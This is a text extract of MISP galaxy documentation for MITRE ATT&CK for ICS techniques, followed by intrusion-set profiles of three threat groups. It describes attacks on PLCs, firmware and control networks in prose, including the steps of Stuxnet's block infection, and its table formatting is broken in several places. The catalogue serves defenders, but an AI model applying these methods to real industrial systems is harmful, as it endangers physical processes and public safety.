<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
<td></td>
</tr>
</tbody>
</table>

**Network Connection Enumeration**

Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as netstat, in conjunction with System Firmware, then they can determine the role of certain devices on the network. The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.

The tag is: `misp-galaxy:mitre-ics-techniques="Network Connection Enumeration"`

**Table 6339. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Network Service Scanning

Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on specific port numbers, the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is Nmap. An adversary may attempt to gain information about a target device and its role on the network via Network Service Scanning techniques, such as port scanning. Network Service Scanning is useful for determining potential vulnerabilities in services on target devices. Network Service Scanning is closely tied to. Scanning ports can be noisy on a network. In some attacks, adversaries probe for specific ports using custom tools. This was specifically seen in the Triton and PLC-Blaster attacks.

The tag is: misp-galaxy:mitre-ics-techniques="Network Service Scanning"

Network Sniffing

Network sniffing is the practice of using a network interface on a computer system to monitor or capture information regardless of whether it is the specified destination for the information. An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as Telnet, that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

The tag is: misp-galaxy:mitre-ics-techniques="Network Sniffing"
Point & Tag Identification

Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. Tags are the identifiers given to points for operator convenience. Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.

The tag is: *misp-galaxy:mitre-ics-techniques="Point & Tag Identification"*

Program Download

Adversaries may perform a program download to load malicious or unintended program logic on a device as a method of persistence or to disrupt response functions or process control. Program download onto devices, such as PLCs, allows adversaries to implement custom logic. Malicious PLC programs may be used to disrupt physical processes or enable adversary persistence. The act of a program download will cause the PLC to enter a STOP operation state, which may prevent response functions from operating correctly.

The tag is: *misp-galaxy:mitre-ics-techniques="Program Download"*
Program Organization Units

Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks (OB). For example, the following sequence of actions is performed when OB1 is infected: Increase the size of the original block. Write malicious code to the beginning of the block. Insert the original OB1 code after the malicious code.

The tag is: `misp-galaxy:mitre-ics-techniques="Program Organization Units"`

Table 6344. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
| Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior. [Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior.]

Program Upload

Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.

The tag is: `misp-galaxy:mitre-ics-techniques="Program Upload"`

Table 6345. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Project File Infection

Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. Adversaries may export their own code into project files with conditions to execute at specific intervals. Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing.

The tag is: misp-galaxy:mitre-ics-techniques="Project File Infection"

Table 6346. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://infosys.beckhoff.com/english.php?content=./content/1033/tc3_sourcecontrol/18014398915785483.html&amp;id=">https://infosys.beckhoff.com/english.php?content=./content/1033/tc3_sourcecontrol/18014398915785483.html&amp;id=</a></td>
</tr>
</tbody>
</table>

Remote File Copy

Adversaries may copy files from one system to another to stage adversary tools or other files over the course of an operation. Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks.

The tag is: misp-galaxy:mitre-ics-techniques="Remote File Copy"

Table 6347. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>WannaCry can move laterally through industrial networks by means of the SMB service.[WannaCry can move laterally through industrial networks by means of the SMB service.]</td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/">https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/</a></td>
</tr>
</tbody>
</table>

Remote System Discovery

Remote System Discovery is the process of identifying the presence of hosts on a network, and details about them. This process is common to network administrators validating the presence of machines and services, as well as adversaries mapping out a network for future-attack targets. An adversary may attempt to gain information about the target network via network enumeration techniques such as port scanning. One of the most popular tools for enumeration is Nmap. Remote
System Discovery allows adversaries to map out hosts on the network as well as the TCP/IP ports that are open, closed, or filtered. Remote System Discovery tools also aid in by attempting to connect to the service and determine its exact version. The adversary may use this information to pick an exploit for a particular version if a known vulnerability exists.

The tag is: *misp-galaxy:mitre-ics-techniques="Remote System Discovery"*

### Replication Through Removable Media

Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. The plant has since checked for infection and cleaned up more than 1,000 computers. An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution.

The tag is: *misp-galaxy:mitre-ics-techniques="Replication Through Removable Media"*
Stuxnet was able to self-replicate by being spread through removable drives. A willing insider or unknown third party, such as a contractor, may have brought the removable media into the target environment. The earliest version of Stuxnet relied on physical installation, infecting target systems when an infected configuration file carried by a USB stick was opened.


https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant


https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/


Rogue Master Device

Adversaries may setup a rogue master to leverage control server functions to communicate with slave devices. A rogue master device can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master device. Impersonating a master device may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations.

The tag is: misp-galaxy:mitre-ics-techniques="Rogue Master Device"

Table 6350. Table References

Links


https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
Role Identification

Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack. For example, a power generation plant may have unique devices such as one that monitors power output of a generator and another that controls the speed of a turbine. Examining devices roles allows the adversary to observe how the two devices work together to monitor and control a physical process. Understanding the role of a target device can inform the adversary’s decision on what action to take, in order to cause Impact and influence or disrupt the integrity of operations. Furthermore, an adversary may be able to capture control system protocol traffic. By studying this traffic, the adversary may be able to determine which devices are outstations, and which are masters. Understanding of master devices and their role within control processes can enable the use of Rogue Master Device.

The tag is: `misp-galaxy:mitre-ics-techniques="Role Identification"`

Table 6351. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th>Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with.</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>[Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with.][1]</td>
</tr>
<tr>
<td></td>
<td>[<a href="https://www.f-secure.com/weblog/archives/00002718.html">https://www.f-secure.com/weblog/archives/00002718.html</a>][2]</td>
</tr>
<tr>
<td></td>
<td>[<a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a>][4]</td>
</tr>
</tbody>
</table>

Rootkit

Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. Firmware rootkits that affect the operating system yield nearly full control of the
system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact.

The tag is: misp-galaxy:mitre-ics-techniques="Rootkit"

Table 6352. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1014">https://attack.mitre.org/wiki/Technique/T1014</a></td>
</tr>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
</tbody>
</table>

Screen Capture

Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.

The tag is: misp-galaxy:mitre-ics-techniques="Screen Capture"

Table 6353. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-293A">https://www.us-cert.gov/ncas/alerts/TA17-293A</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/resource/allanite/">https://dragos.com/resource/allanite/</a></td>
</tr>
</tbody>
</table>
Scripting

Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task.

The tag is: *misp-galaxy:mitre-ics-techniques="Scripting"*

<table>
<thead>
<tr>
<th>Table 6354. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage">https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/resource/magnallium/">https://dragos.com/resource/magnallium/</a></td>
</tr>
<tr>
<td><a href="https://www.securityweek.com/researchers-analyze-tools-used-hexane-attackers-against-industrial-firms">https://www.securityweek.com/researchers-analyze-tools-used-hexane-attackers-against-industrial-firms</a></td>
</tr>
<tr>
<td><a href="https://www.bankinfosecurity.com/lyceum-apt-group-new-threat-to-oil-gas-companies-a-13003">https://www.bankinfosecurity.com/lyceum-apt-group-new-threat-to-oil-gas-companies-a-13003</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/">https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/</a></td>
</tr>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
</tbody>
</table>

Serial Connection Enumeration

Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems. While IT and OT networks may work in tandem, the exact structure of the OT network may not be discernible from the IT network alone. After gaining access to a device on the OT network, an adversary may be able to enumerate the serial connections. From this perspective, the adversary can see the specific physical devices to which the compromised device is connected to. This gives the adversary greater situational awareness and can influence the actions that the adversary can take in an attack.
Service Stop

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction.

The tag is: misp-galaxy:mitre-ics-techniques="Service Stop"

Spearphishing Attachment

Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access.

The tag is: misp-galaxy:mitre-ics-techniques="Spearphishing Attachment"
Standard Application Layer Protocol

Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.

The tag is: misp-galaxy:mitre-ics-techniques="Standard Application Layer Protocol"

Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dragos.com/resource/hexane/">https://dragos.com/resource/hexane/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/">https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/</a></td>
</tr>
</tbody>
</table>

Supply Chain Compromise

Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment.
Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).

The tag is: **misp-galaxy:mitre-ics-techniques="Supply Chain Compromise"**

**Table 6359. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**System Firmware**

System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprogramming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers. In the 2015 attack on the Ukrainian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries developed malicious firmware for the serial-to-ethernet devices which rendered them inoperable and severed connections between the control center and the substation.

The tag is: **misp-galaxy:mitre-ics-techniques="System Firmware"**

**Table 6360. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf">https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf</a></td>
</tr>
</tbody>
</table>
Theft of Operational Information

Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. In the Bowman Dam incident, adversaries probed systems for operational data.

The tag is: misp-galaxy:mitre-ics-techniques="Theft of Operational Information"

Table 6361. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://time.com/4270728/iran-cyber-attack-dam-fbi/">https://time.com/4270728/iran-cyber-attack-dam-fbi/</a></td>
</tr>
</tbody>
</table>

Unauthorized Command Message

Adversaries may send unauthorized command messages to instruct control systems devices to perform actions outside their expected functionality for process control. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device’s actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. In the 2015 attack on the Ukrainian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries used valid credentials to seize control of operator workstations and access a distribution management system (DMS) client application via a VPN. The adversaries used these tools to issue unauthorized commands to breakers at substations which caused a loss of power to over 225,000 customers over various areas.

The tag is: misp-galaxy:mitre-ics-techniques="Unauthorized Command Message"

Table 6362. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6142258">http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6142258</a></td>
</tr>
<tr>
<td><a href="https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf">https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf</a></td>
</tr>
</tbody>
</table>
User Execution

Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software.

The tag is: `misp-galaxy:mitre-ics-techniques="User Execution"`

Utilize/Change Operating Mode

Adversaries may place controllers into an alternate mode of operation to enable configuration setting changes for evasive code execution or to inhibit device functionality. Programmable controllers typically have several modes of operation. These modes can be broken down into three main categories: program run, program edit, and program write. Each of these modes puts the device in a state in which certain functions are available. For instance, the program edit mode allows alterations to be made to the user program while the device is still online. By driving a device into an alternate mode of operation, an adversary has the ability to change configuration settings in such a way to cause a impact to equipment and/or industrial process associated with the targeted device. An adversary may also use this alternate mode to execute arbitrary code which could be used to evade defenses.

The tag is: `misp-galaxy:mitre-ics-techniques="Utilize/Change Operating Mode"`
Valid Accounts

Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. In the 2015 attack on the Ukrainian power grid, the adversaries used valid credentials to interact directly with the client application of the distribution management system (DMS) server via a VPN and native remote access services to access employee workstations hosting HMI applications. The adversaries caused outages at three different energy companies, causing loss of power to over 225,000 customers over various areas.

The tag is: misp-galaxy:mitre-ics-techniques="Valid Accounts"

Table 6365. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf">https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/resource/allanite/">https://dragos.com/resource/allanite/</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/resource/dymalloy/">https://dragos.com/resource/dymalloy/</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-293A">https://www.us-cert.gov/ncas/alerts/TA17-293A</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign">https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/resource/chrysene/">https://dragos.com/resource/chrysene/</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/resource/electrum/">https://dragos.com/resource/electrum/</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/trisis/TRISIS-01.pdf">https://dragos.com/blog/trisis/TRISIS-01.pdf</a></td>
</tr>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
</tbody>
</table>
Wireless Compromise

Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective. The adversary disrupted Maroochy Shire’s radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire’s repeater stations. A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. The remote controller device allowed the student to interface with the tram’s network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. The controller then enabled initial access to the network, allowing the capture and replay of tram signals.

The tag is: misp-galaxy:mitre-ics-techniques="Wireless Compromise"

Table 6366. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.slideshare.net/dgpeters/17-bolshev-1-13">https://www.slideshare.net/dgpeters/17-bolshev-1-13</a></td>
</tr>
<tr>
<td><a href="https://www.mitre.org/sites/default/files/pdf/08_1145.pdf">https://www.mitre.org/sites/default/files/pdf/08_1145.pdf</a></td>
</tr>
<tr>
<td><a href="https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/">https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/</a></td>
</tr>
<tr>
<td><a href="https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html">https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html</a></td>
</tr>
</tbody>
</table>

Intrusion Set

Name of ATT&CK Group.

Intrusion Set is a cluster galaxy available in JSON format at [this location](https://attack.mitre.org/groups/G0130) The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Ajax Security Team - G0130

[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to...
malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian
users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)

The tag is: \textit{misp-galaxy:mitre-intrusion-set="Ajax Security Team - G0130"}

Ajax Security Team - G0130 is also known as:

- Ajax Security Team
- Operation Woolen-Goldfish
- AjaxTM
- Rocket Kitten
- Flying Kitten
- Operation Saffron Rose

View relationships graph

Ajax Security Team - G0130 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="sqlmap - S0225" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Havij - S0224" with estimative-language:likelihood-probability="almost-certain"

Table 6367. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0130">https://attack.mitre.org/groups/G0130</a></td>
</tr>
<tr>
<td><a href="https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/">https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/</a></td>
</tr>
</tbody>
</table>
The White Company - G0089

[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)

The tag is: `misp-galaxy:mitre-intrusion-set="The White Company - G0089"`

The White Company - G0089 is also known as:

- The White Company

View relationships graph

The White Company - G0089 has relationships with:

- uses: `misp-galaxy:mitre-malware="NETWIRE - S0198"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="Revenge RAT - S0379"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"` with estimative-language:likelihood-probability="almost-certain"

Table 6368. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0089">https://attack.mitre.org/groups/G0089</a></td>
</tr>
</tbody>
</table>
Threat Group-3390 - G0027

[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018) (Citation: Trend Micro DRBControl February 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="Threat Group-3390 - G0027"`

Threat Group-3390 - G0027 is also known as:

- Threat Group-3390
- Earth Smilodon
- TG-3390
- Emissary Panda
- BRONZE UNION
- APT27
- Iron Tiger
- LuckyMouse

View relationships graph

Threat Group-3390 - G0027 has relationships with:

- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RCSession - S0662" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
